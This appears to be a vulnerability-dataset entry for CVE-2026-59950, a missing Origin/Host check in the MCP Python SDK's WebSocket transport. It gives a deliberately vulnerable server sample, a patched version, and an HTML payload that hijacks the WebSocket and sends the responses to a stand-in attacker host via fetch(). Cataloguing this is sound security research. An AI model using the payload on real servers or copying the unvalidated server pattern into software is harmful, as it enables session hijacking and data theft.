VAITP Dataset

← Back to the dataset

CVE-2026-59950

MCP Python SDK WebSocket server lacks Host/Origin validation, allowing CSWSH.

  • CVSS 7.6
  • CWE-346
  • Authentication, Authorization, and Session Management
  • Remote

The MCP Python SDK, called mcp on PyPI, is a Python implementation of the Model Context Protocol (MCP). Prior to 1.28.1, the deprecated mcp.server.websocket.websocket_server transport accepted WebSocket handshakes without applying Host or Origin header validation, leaving no SDK-level way to restrict which origins could connect to applications that exposed that transport. This issue is fixed in version 1.28.1.

CVSS base score
7.6
Published
2026-07-15
OWASP
A01 Broken Access Control
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Authentication, Authorization, and Session Management
Subcategory
Cross-Site Request Forgery (CSRF)
Accessibility scope
Remote
Impact
Unauthorized Access
Affected component
mcp
Fixed by upgrading
Yes

Solution

Upgrade mcp to version 1.28.1 or later.

Vulnerable code sample

import asyncio
import websockets

# This handler represents the application logic that runs after a
# WebSocket connection is accepted. The vulnerability lies in the server
# configuration, which accepts the connection without validation.
async def vulnerable_handler(websocket, path):
    print(f"Connection established from: {websocket.remote_address}")
    # The server does not know or care about the origin of this connection.
    # If the user was authenticated via cookies, this connection would
    # be authenticated as them, regardless of the connecting website.
    try:
        async for message in websocket:
            # A simple echo functionality for demonstration.
            response = f"Server received: {message}"
            await websocket.send(response)
            print(f"> Sent response to {websocket.remote_address}")
    except websockets.exceptions.ConnectionClosed:
        print(f"Connection from {websocket.remote_address} closed.")


# The server is started without an 'origins' argument. In a vulnerable
# implementation like the one described, this means it does not validate
# the 'Origin' or 'Host' header of the incoming handshake request.
# This allows any website to establish a WebSocket connection.
start_server = websockets.serve(
    vulnerable_handler,
    "0.0.0.0",
    8765
)

# Standard asyncio boilerplate to run the server indefinitely.
print("Starting WebSocket server with no Origin header validation on ws://0.0.0.0:8765")
loop = asyncio.get_event_loop()
loop.run_until_complete(start_server)
loop.run_forever()

Patched code sample

import asyncio
import websockets

# This class is a hypothetical representation of the fixed component
# in the MCP SDK, demonstrating how the origin validation fix would be implemented.
class FixedMcpWebsocketServer:
    def __init__(self, handler, allowed_origins):
        self.handler = handler
        # The fix introduces a way to configure and enforce allowed origins.
        self.allowed_origins = set(allowed_origins)

    async def _validate_origin(self, path, request_headers):
        """
        This method contains the core validation logic that was missing in the
        vulnerable version. It checks the 'Origin' header of the incoming
        WebSocket handshake request.
        """
        origin = request_headers.get('Origin')

        # If the origin is not in the allowed set, reject the connection
        # by returning an HTTP 403 Forbidden response.
        if origin not in self.allowed_origins:
            return (403, [], b'Forbidden\n')

        # If the origin is valid, return None to allow the handshake to proceed.
        return None

    async def serve(self, host, port):
        """
        The server now applies the origin validation during the handshake
        using the `process_request` argument. A vulnerable implementation would
        omit this argument, accepting connections from any origin.
        """
        async with websockets.serve(
            self.handler,
            host,
            port,
            process_request=self._validate_origin
        ):
            await asyncio.Future()  # Run server indefinitely

Payload

<!DOCTYPE html>
<html>
  <body>
    <script>
      const ws = new WebSocket("ws://vulnerable-mcp-server.com:8080/websocket");

      ws.onopen = () => {
        // Connection is established without origin validation.
        // The specific command depends on the application's protocol.
        ws.send(JSON.stringify({ "command": "get_user_data" }));
      };

      ws.onmessage = (event) => {
        // Exfiltrate received data to an attacker-controlled server.
        fetch(`https://attacker-collector.com/log?data=${btoa(event.data)}`);
      };

      ws.onerror = (error) => {
        console.error("WebSocket connection failed:", error);
      };
    </script>
  </body>
</html>

Cite this entry

@misc{vaitp:cve202659950,
  title        = {{MCP Python SDK WebSocket server lacks Host/Origin validation, allowing CSWSH.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-59950},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-59950/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::